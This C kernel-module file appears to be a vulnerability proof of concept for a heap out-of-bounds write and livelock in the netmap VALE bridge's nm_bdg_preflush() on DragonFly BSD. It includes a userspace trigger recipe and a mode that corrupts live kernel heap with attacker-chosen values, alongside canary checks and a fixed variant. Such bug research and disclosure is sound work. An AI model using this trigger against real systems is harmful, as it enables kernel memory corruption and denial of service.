/*
 * DF-3368 PoC — nm_bdg_preflush() unbounded NS_MOREFRAG fragment chain
 *               => OOB write past the nkr_ft allocation (+ ft_frags u8
 *               truncation livelock in nm_bdg_flush' pass-1 walk).
 *
 * The vulnerable function below is copied VERBATIM from
 * sys/net/netmap/netmap_vale.c:961-1019 (nm_bdg_preflush), with only:
 *   - the netmap_kern.h / netmap_vale.c machinery it uses stubbed
 *     (documented inline; none of the stubs can influence ft_i),
 *   - clearly marked INSTRUMENTATION (final ft_i snapshot, iteration
 *     counters, bail-out in the pass-1 walker replica).
 *
 * Why a standalone KLD: the netmap subsystem in this DragonFly tree does
 * not compile at all (netmap_kern.h:747 references ifnet.if_unused7 which
 * no longer exists; no sys/conf/files entry — established platform fact
 * from the netmap.c pass-2).  The vulnerable loop's control flow depends
 * only on ring->slot[].flags (user-writable shared memory), nkr_num_slots,
 * nr_hwcur and bridge_batch — none of the rotted machinery — so running it
 * in a real kernel proves kernel-context behaviour with zero logic changes.
 *
 * Real-world trigger (identical state):
 *   open /dev/netmap, NIOCREGIF "valeX:Y" with nr_tx_slots = 4096
 *   (nm_bound_var allows 1..NM_BDG_MAXSLOTS=4096, netmap_vale.c:595-600),
 *   mmap, set slot[j].flags = NS_MOREFRAG|NS_INDIRECT, slot[j].ptr=<attacker
 *   value> for all j, ring->cur = 4095, ioctl(NIOCTXSYNC)
 *   -> bdg_netmap_txsync -> netmap_vp_txsync -> nm_bdg_preflush.
 *
 * The bug: the bridge_batch flush check is only evaluated when a packet
 * COMPLETES (a slot without NS_MOREFRAG); fragments `continue` past it,
 * so ft_i grows once per slot up to the full ring size.  nkr_ft[] is
 * sized for NM_BDG_BATCH_MAX (1088) forwarding entries
 * (nm_alloc_bdgfwd, netmap_vale.c:401-403):
 *
 *   l = sizeof(nm_bdg_fwd)(16) * 1088       = 17408
 *     + sizeof(nm_bdg_q)(8)    * 4065       = 32520   (dst_ents + 1 bcast)
 *     + sizeof(uint16_t)       * 1088       =  2176   (dsts)
 *                                            -------
 *                                            = 52104 bytes
 *
 * A ring of 4096 slots writes ft[0..4094] => byte offsets up to 65520,
 * i.e. ~13.4 KB PAST the end of the 52104-byte kmalloc — every entry
 * carrying two attacker-chosen u16s (ft_len = slot->len, ft_flags =
 * slot->flags) and, with NS_INDIRECT, an arbitrary attacker-chosen 64-bit
 * pointer (ft_buf = slot->ptr).  All-MOREFRAG batches additionally make
 * the post-loop `ft[ft_i - frags].ft_frags = frags - 1;` evaluate index
 * -1 (u_int wrap) => 1-byte heap UNDERFLOW write at ft-8.
 *
 * Secondary manifestation (mode 1): a completed 256-fragment chain stores
 * frags into the uint8_t ft_frags => 256 & 0xff == 0, so nm_bdg_flush's
 * pass-1 walk `for (i = 0; i < n; i += ft[i].ft_frags)` never advances:
 * non-terminating loop in netisr context.  (Fully in-bounds: needs only
 * 257 slots.)
 *
 * Modes (sysctl debug.df3368.mode, then debug.df3368.trigger=1):
 *   0 = control    : 8 well-formed 1-frag packets; walk terminates;
 *                    canary intact (harness sanity).
 *   1 = loop256    : 255 MOREFRAG + 1 terminator = 256-frag packet;
 *                    ft[0].ft_frags == 0 -> pass-1 walker livelocks
 *                    (bail-out counter reports it).
 *   2 = oob2048    : 2047 MOREFRAG slots, ft placed at scratch+64 in a
 *                    52104+64+4096 canaried scratch buffer: writes at
 *                    ft[1088..2046] => offsets 17408..32752, past the
 *                    ft[] contract (17408) into the dst_ents/dsts area —
 *                    deterministic, guest survives.
 *   3 = oob_full   : ft = kmalloc(52104) exactly as nm_alloc_bdgfwd,
 *                    4095 MOREFRAG slots: writes past 52104 (and the
 *                    ft[-1] underflow) into live kernel heap.  Real OOB.
 *
 * Fixed variant: build with -DDD3368_FIXED — frags capped at NM_MULTISEG,
 * the documented maximum ("max size of a chain of bufs", netmap_vale.c:124)
 * that nothing in the tree enforces.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/lock.h>

#include <net/if.h>			/* IFNAMSIZ for netmap.h */
#include <net/netmap/netmap.h>		/* struct netmap_slot / constants */

/* ---------- verbatim constants from netmap_vale.c:119-129 ---------- */
#define NM_BDG_MAXRINGS		16	/* netmap_vale.c:119 */
#define NM_BDG_MAXSLOTS		4096	/* netmap_vale.c:120 */
#define NM_BDG_BATCH		1024	/* netmap_vale.c:123 */
#define NM_MULTISEG		64	/* netmap_vale.c:124 */
#define NM_BDG_BATCH_MAX	(NM_BDG_BATCH + NM_MULTISEG)	/* :126 */
#define NM_FT_NULL		NM_BDG_BATCH_MAX		/* :128 */
#define NM_BDG_MAXPORTS_V	254	/* netmap_kern.h:652 */

/* ---------- verbatim struct nm_bdg_fwd from netmap_vale.c:154-161 ----- */
struct nm_bdg_fwd {
	void *ft_buf;
	uint8_t ft_frags;
	uint8_t _ft_port;
	uint16_t ft_flags;
	uint16_t ft_len;
	uint16_t ft_next;
};

/* ---------- verbatim struct nm_bdg_q from netmap_vale.c:168-172 ------- */
struct nm_bdg_q {
	uint16_t bq_head;
	uint16_t bq_tail;
	uint32_t bq_len;
};

/* verbatim allocation math from nm_alloc_bdgfwd, netmap_vale.c:400-403 */
#define DF_NUM_DSTQ	(NM_BDG_MAXPORTS_V * NM_BDG_MAXRINGS + 1)	/* 4065 */
#define DF_FT_BYTES	(sizeof(struct nm_bdg_fwd) * NM_BDG_BATCH_MAX)
#define DF_ALLOC_SIZE	(DF_FT_BYTES +			\
			 sizeof(struct nm_bdg_q) * DF_NUM_DSTQ + \
			 sizeof(uint16_t) * NM_BDG_BATCH_MAX)	/* 52104 */

/* ---------- stubs (documented; none can influence ft_i) ---------- */
#define unlikely(x)		(x)
#define likely(x)		(x)
#define prefetch(x)		((void)(x))
#define ND(format, ...)		((void)0)
static int netmap_verbose;			/* netmap_kern.h */
static int bridge_batch = NM_BDG_BATCH;		/* netmap_vale.c:137 (sysctl) */
#define RD(lvl, format, ...)	((void)0)
static int df3368_flush_calls;
static u_int df3368_flush_lastn;
static int
nm_bdg_flush(struct nm_bdg_fwd *ft, u_int n, void *na, u_int ring_nr)
{
	/* stub: the real function (netmap_vale.c:1143) processes the batch
	 * and returns 0; only its invocation count matters here.  NOTE:
	 * with all-MOREFRAG batches the real pass-1 walk would livelock
	 * on ft[0].ft_frags == 0 — demonstrated separately in mode 1. */
	(void)ft; (void)na; (void)ring_nr;
	df3368_flush_calls++;
	df3368_flush_lastn = n;
	return 0;
}
static struct lock df_bdg_lock;
#define NAF_BDG_MAYSLEEP	0x1000	/* netmap_kern.h value, stub semantics */
#define BDG_RLOCK(b)		((void)(b))
#define BDG_RTRYLOCK(b)		(1)
#define BDG_RUNLOCK(b)		((void)(b))

static char df_nmbuf[2048];
#define BDG_NMB(na, slot)	(df_nmbuf)	/* buf_idx lookup, value
						 * irrelevant to ft_i */

/* verbatim from netmap_kern.h:196-201 */
static inline uint32_t
nm_next(uint32_t i, uint32_t lim)
{
	return unlikely (i == lim) ? 0 : i + 1;
}

struct nm_bridge { int dummy; };
struct netmap_vp_adapter {		/* subset used by the verbatim code */
	struct { uint32_t na_flags; } up;
	struct nm_bridge *na_bdg;
};
struct netmap_kring {			/* subset used by the verbatim code */
	struct netmap_ring *ring;
	uint32_t nr_hwcur;
	uint32_t nkr_num_slots;
	struct nm_bdg_fwd *nkr_ft;
};

/*
 * netmap_ring has const members (netmap.h:219-220); the mmap()ed ring is
 * plain shared memory to userspace, so we mirror the exact layout in a
 * writable struct and cast — identical field order/types.
 */
struct df_ring {
	ssize_t		buf_ofs;
	uint32_t	num_slots;
	uint32_t	avail;
	uint32_t	cur;
	uint32_t	reserved;
	uint16_t	nr_buf_size;
	uint16_t	flags;
	struct timeval	ts;
	struct netmap_slot slot[0];
};

/* INSTRUMENTATION */
static u_int df3368_fti;			/* final ft_i */
static u_int df3368_maxfti;			/* max ft_i written this run */
static u_int df3368_iters;			/* slot iterations */
static u_int df3368_walkers;			/* pass-1 walker iterations */
static u_int df3368_walk_stuck;		/* walker could not advance */
static u_int df3368_underflow_write;		/* ft[ft_i-frags] hit index -1 */

/*
 * ===== VERBATIM nm_bdg_preflush() from sys/net/netmap/netmap_vale.c:961-1019
 * (stubs above; INSTRUMENTATION lines are the only additions)
 */
static int
nm_bdg_preflush(struct netmap_vp_adapter *na, u_int ring_nr,
	struct netmap_kring *kring, u_int end)
{
	struct netmap_ring *ring = kring->ring;
	struct nm_bdg_fwd *ft;
	u_int j = kring->nr_hwcur, lim = kring->nkr_num_slots - 1;
	u_int ft_i = 0;	/* start from 0 */
	u_int frags = 1; /* how many frags ? */
	struct nm_bridge *b = na->na_bdg;

	/* To protect against modifications to the bridge we acquire a
	 * shared lock, waiting if we can sleep (if the source port is
	 * attached to a user process) or with a trylock otherwise (NICs).
	 */
	ND("wait rlock for %d packets", ((j > end ? lim+1 : 0) + end) - j);
	if (na->up.na_flags & NAF_BDG_MAYSLEEP)
		BDG_RLOCK(b);
	else if (!BDG_RTRYLOCK(b))
		return 0;
	ND(5, "rlock acquired for %d packets", ((j > end ? lim+1 : 0) + end) - j);
	ft = kring->nkr_ft;

	for (; likely(j != end); j = nm_next(j, lim)) {
		struct netmap_slot *slot = &ring->slot[j];
		char *buf;

		df3368_iters++;					/* INSTR */
		if (ft_i > df3368_maxfti)				/* INSTR */
			df3368_maxfti = ft_i;
		ft[ft_i].ft_len = slot->len;
		ft[ft_i].ft_flags = slot->flags;

		ND("flags is 0x%x", slot->flags);
		/* this slot goes into a list so initialize the link field */
		ft[ft_i].ft_next = NM_FT_NULL;
		buf = ft[ft_i].ft_buf = (slot->flags & NS_INDIRECT) ?
			(void *)(uintptr_t)slot->ptr : BDG_NMB(&na->up, slot);
		prefetch(buf);
		++ft_i;
#ifdef DF3368_FIXED
		/* FIX: enforce the documented NM_MULTISEG chain limit:
		 * netmap_vale.c:124 "max size of a chain of bufs". */
		if ((slot->flags & NS_MOREFRAG) && frags < NM_MULTISEG) {
			frags++;
			continue;
		}
#else
		if (slot->flags & NS_MOREFRAG) {
			frags++;
			continue;
		}
#endif
		if (unlikely(netmap_verbose && frags > 1))
			RD(5, "%d frags at %d", frags, ft_i - frags);
		ft[ft_i - frags].ft_frags = frags;
		frags = 1;
		if (unlikely((int)ft_i >= bridge_batch))
			ft_i = nm_bdg_flush(ft, ft_i, na, ring_nr);
	}
	if (frags > 1) {
		kprintf("df3368: [D] truncate incomplete fragment at %d "
		    "(%d frags)\n", ft_i, frags);		/* was D(...) */
		// ft_i > 0, ft[ft_i-1].flags has NS_MOREFRAG
		ft[ft_i - 1].ft_frags &= ~NS_MOREFRAG;
		ft[ft_i - frags].ft_frags = frags - 1;
		df3368_underflow_write =			/* INSTR */
		    (frags == ft_i + 1);			/* index -1 case */
	}
	if (ft_i)
		ft_i = nm_bdg_flush(ft, ft_i, na, ring_nr);
	BDG_RUNLOCK(b);
	df3368_fti = ft_i;					/* INSTR */
	return j;
}

/*
 * Replica of nm_bdg_flush()'s pass-1 walk head, netmap_vale.c:1161:
 *   for (i = 0; likely(i < n); i += ft[i].ft_frags) { ... }
 * (bail-out INSTRUMENTATION only)
 */
static void
df_pass1_walk(struct nm_bdg_fwd *ft, u_int n)
{
	u_int i, last_i = 0;

	df3368_walkers = 0;
	df3368_walk_stuck = 0;
	for (i = 0; likely(i < n); i += ft[i].ft_frags) {
		if (++df3368_walkers > 100000) {
			df3368_walk_stuck = 1;
			kprintf("df3368: pass-1 walk STUCK at i=%u "
			    "(ft[i].ft_frags=%u, iters>100000)\n",
			    i, ft[i].ft_frags);
			return;
		}
		last_i = i;
		(void)last_i;
	}
	kprintf("df3368: pass-1 walk terminated after %u steps\n",
	    df3368_walkers);
}

/* ---------- scenario driver ---------- */
static int df3368_mode;			/* 0 ctrl, 1 loop256, 2 oob2048, 3 full */
static void *df3368_kft_real;		/* mode 3 verbatim allocation */
static struct df_ring *df_ring;
static struct netmap_kring df_kring;
static struct netmap_vp_adapter df_vpna;
static struct nm_bridge df_bridge;

static int
df3368_run(void)
{
	u_int nslots, end, j;
	struct nm_bdg_fwd *ft;
	char *scratch = NULL;

	df3368_fti = df3368_iters = df3368_maxfti = 0;
	df3368_flush_calls = 0;
	df3368_underflow_write = 0;

	switch (df3368_mode) {
	case 0:		nslots = 16;  end = 8;   break;	/* 8 packets */
	case 1:		nslots = 257; end = 256; break;	/* 256-frag pkt */
	case 2:		nslots = 2048; end = 2047; break;	/* chain ends */
	case 3:		nslots = 3300; end = 3299; break;	/* chain ends */
	case 4:		nslots = 2048; end = 2047; break;	/* all MOREFRAG */
	default:
		kprintf("df3368: bad mode %d\n", df3368_mode);
		return EINVAL;
	}

	/* ring backing (shared-memory equivalent) */
	if (df_ring == NULL || df_ring->num_slots < nslots) {
		if (df_ring)
			kfree(df_ring, M_DEVBUF);
		df_ring = kmalloc(sizeof(*df_ring) +
		    nslots * sizeof(struct netmap_slot),
		    M_DEVBUF, M_WAITOK | M_ZERO);
	}
	*(uint32_t *)(uintptr_t)&df_ring->num_slots = nslots;
	for (j = 0; j < nslots; j++) {
		df_ring->slot[j].len = 0x1337 + j;		/* attacker */
		df_ring->slot[j].buf_idx = 5;
		df_ring->slot[j].ptr = 0x4141410000000000ULL + j;	/* attkr */
		switch (df3368_mode) {
		case 0:					/* well formed */
			df_ring->slot[j].flags = NS_INDIRECT;
			break;
		case 1:					/* 255+1 chain */
			df_ring->slot[j].flags =
			    NS_INDIRECT |
			    (j < end - 1 ? NS_MOREFRAG : 0);
			break;
		case 4:					/* all MOREFRAG: provokes
							 * the u_int-wrap
							 * wild write */
			df_ring->slot[j].flags = NS_INDIRECT | NS_MOREFRAG;
			break;
		default:				/* long chain, terminated
						 * at the last slot */
			df_ring->slot[j].flags =
			    NS_INDIRECT |
			    (j < end - 1 ? NS_MOREFRAG : 0);
			break;
		}
	}
	df_ring->cur = end;				/* user writes (<= lim) */

	/* kring + ft allocation */
	if (df3368_mode == 3) {
		/* verbatim nm_alloc_bdgfwd allocation (netmap_vale.c:412) */
		if (df3368_kft_real == NULL)
			df3368_kft_real = kmalloc(DF_ALLOC_SIZE,
			    M_DEVBUF, M_NOWAIT | M_ZERO);
		if (df3368_kft_real == NULL) {
			kprintf("df3368: kmalloc(%u) failed\n", (u_int)DF_ALLOC_SIZE);
			return ENOMEM;
		}
		ft = df3368_kft_real;
	} else {
		/* safe scratch: 64B head (catches the ft[-1] underflow) +
		 * DF_ALLOC_SIZE verbatim region + 4096B canary tail */
		scratch = kmalloc(64 + DF_ALLOC_SIZE + 4096,
		    M_DEVBUF, M_WAITOK | M_ZERO);
		ft = (struct nm_bdg_fwd *)(scratch + 64);
		/* canary the dst_ents/dsts area (offsets 17408..52104) and
		 * the guard tail: anything the preflush writes there is
		 * past the ft[] contract (NM_BDG_BATCH_MAX entries). */
		memset((char *)ft + DF_FT_BYTES, 0xCC, DF_ALLOC_SIZE - DF_FT_BYTES);
		memset(scratch + 64 + DF_ALLOC_SIZE, 0xCC, 4096);
	}

	df_kring.ring = (struct netmap_ring *)df_ring;
	df_kring.nr_hwcur = 0;				/* as after register */
	df_kring.nkr_num_slots = nslots;
	df_kring.nkr_ft = ft;
	df_vpna.up.na_flags = NAF_BDG_MAYSLEEP;
	df_vpna.na_bdg = &df_bridge;

	kprintf("df3368: mode %d: nslots=%u end=%u ft=%p "
	    "(ft[] contract=%u entries / %u bytes, alloc=%u)\n",
	    df3368_mode, nslots, end, ft, NM_BDG_BATCH_MAX,
	    (u_int)DF_FT_BYTES, (u_int)DF_ALLOC_SIZE);

	nm_bdg_preflush(&df_vpna, 0, &df_kring, end);

	kprintf("df3368: RESULT slot-iters=%u final-ft_i=%u "
	    "(max table index written: %u, %s NM_BDG_BATCH_MAX=%u; "
	    "byte offset %u %s alloc size %u)\n",
	    df3368_iters, df3368_fti,
	    df3368_maxfti,
	    df3368_maxfti < NM_BDG_BATCH_MAX ? "<=" : "OVER",
	    NM_BDG_BATCH_MAX,
	    df3368_maxfti ? (u_int)(16 * df3368_maxfti + 16) : 0,
	    (16 * (df3368_maxfti + 1)) > DF_ALLOC_SIZE ? "PAST" : "<=",
	    (u_int)DF_ALLOC_SIZE);
	kprintf("df3368: flush stub calls=%d lastn=%u "
	    "underflow(ft[-1])write=%u\n",
	    df3368_flush_calls, df3368_flush_lastn,
	    df3368_underflow_write);

	if (scratch) {
		u_int bad = 0, firstoff = 0, maxoff = 0, k;
		unsigned char *p;

		for (k = 0; k < DF_ALLOC_SIZE - DF_FT_BYTES; k++) {
			p = (unsigned char *)ft + DF_FT_BYTES + k;
			if (*p != 0xCC) {
				if (bad == 0)
					firstoff = DF_FT_BYTES + k;
				bad++;
				maxoff = DF_FT_BYTES + k;
			}
		}
		kprintf("df3368: CANARY bytes corrupted past ft[] contract: "
		    "%u, first @ft+%u (ft[%u]), last @ft+%u (ft[%u])\n",
		    bad, firstoff, firstoff / 16, maxoff, maxoff / 16);
		p = (unsigned char *)scratch + 64 + DF_ALLOC_SIZE;
		for (k = 0; k < 4096; k++)
			if (p[k] != 0xCC)
				kprintf("df3368: GUARD TAIL HIT @+%u !!\n", k);
		/* head canary: the ft[-1] underflow write */
		p = (unsigned char *)ft - 64;
		for (k = 0; k < 64; k++)
			if (p[k] != 0)
				kprintf("df3368: HEAD (ft[-1] underflow) "
				    "byte hit @ft-%d !!\n", 64 - (int)k);
	}

	/* mode 1: demonstrate the u8-truncation livelock in the flush walk */
	if (df3368_mode == 1) {
		kprintf("df3368: mode1 ft[0].ft_frags = %u "
		    "(256 truncated to uint8_t)\n", ft[0].ft_frags);
		df_pass1_walk(ft, df3368_flush_lastn);
	}
	if (df3368_mode == 0)
		df_pass1_walk(ft, df3368_flush_lastn);

	if (scratch)
		kfree(scratch, M_DEVBUF);
	return 0;
}

static int
df3368_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (df3368_run());
}

SYSCTL_NODE(_debug, OID_AUTO, df3368, CTLFLAG_RW, 0, "DF-3368 trigger");
SYSCTL_INT(_debug_df3368, OID_AUTO, mode, CTLFLAG_RW, &df3368_mode, 0,
    "0=control,1=loop256,2=oob2048(safe),3=oob_full(real kmalloc)");
SYSCTL_PROC(_debug_df3368, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df3368_sysctl, "I", "run verbatim nm_bdg_preflush scenario");

static int
df3368_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		lockinit(&df_bdg_lock, "df3368bdg", 0, 0);
		kprintf("df3368: loaded (netmap_vale.c nm_bdg_preflush "
		    "fragment-chain overflow test; alloc=%u)\n",
		    (u_int)DF_ALLOC_SIZE);
		return 0;
	case MOD_UNLOAD:
		if (df_ring)
			kfree(df_ring, M_DEVBUF);
		if (df3368_kft_real)
			kfree(df3368_kft_real, M_DEVBUF);
		kprintf("df3368: unloaded\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t df3368_mod = { "df3368", df3368_modevent, NULL };
DECLARE_MODULE(df3368, df3368_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
